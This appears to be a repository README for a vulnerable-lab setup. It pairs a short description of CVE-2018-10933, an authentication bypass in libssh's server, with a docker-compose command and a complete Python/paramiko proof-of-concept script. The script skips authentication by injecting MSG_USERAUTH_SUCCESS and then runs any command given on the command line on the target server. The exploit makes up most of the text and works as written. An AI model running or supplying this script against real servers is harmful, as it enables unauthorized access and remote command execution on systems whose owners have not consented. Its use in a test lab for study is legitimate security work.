cyberharsh/libssh-server-cve-2018-10933Proof-of-concept exploit for CVE-2018-10933, demonstrating SSH authentication bypass via MSG_USERAUTH_SUCCESS injection. Includes Docker setup and Python script for remote command execution.
libssh is a multiplatform C library implementing the SSHv2 protocol on client and server side. A logic vulnerability was found in libssh's server-side state machine. The attacker can send the MSG_USERAUTH_SUCCESS message before the authentication succeed. That can bypass the authentication and access the target SSH server.
Refer:
Start the environment:
docker-compose up -d
After the environment is started, we can connect the your-ip:2222 port (account password: myuser:mypassword), which is a legal ssh login:
Referring to the POC given in https://www.seebug.org/vuldb/ssvid-97614, we can use the following script to proof the vulnerability.
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048
def execute(hostname, port, command):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
client = transport.open_session(timeout=10)
client.exec_command(command)
# stdin = client.makefile("wb", bufsize)
stdout = client.makefile("rb", bufsize)
stderr = client.makefile_stderr("rb", bufsize)
output = stdout.read()
error = stderr.read()
stdout.close()
stderr.close()
return (output+error).decode()
except paramiko.SSHException as e:
logging.exception(e)
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
except socket.error:
logging.debug("Unable to connect.")
return None
if __name__ == '__main__':
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
You can execute arbitrary commands on the target server like following:
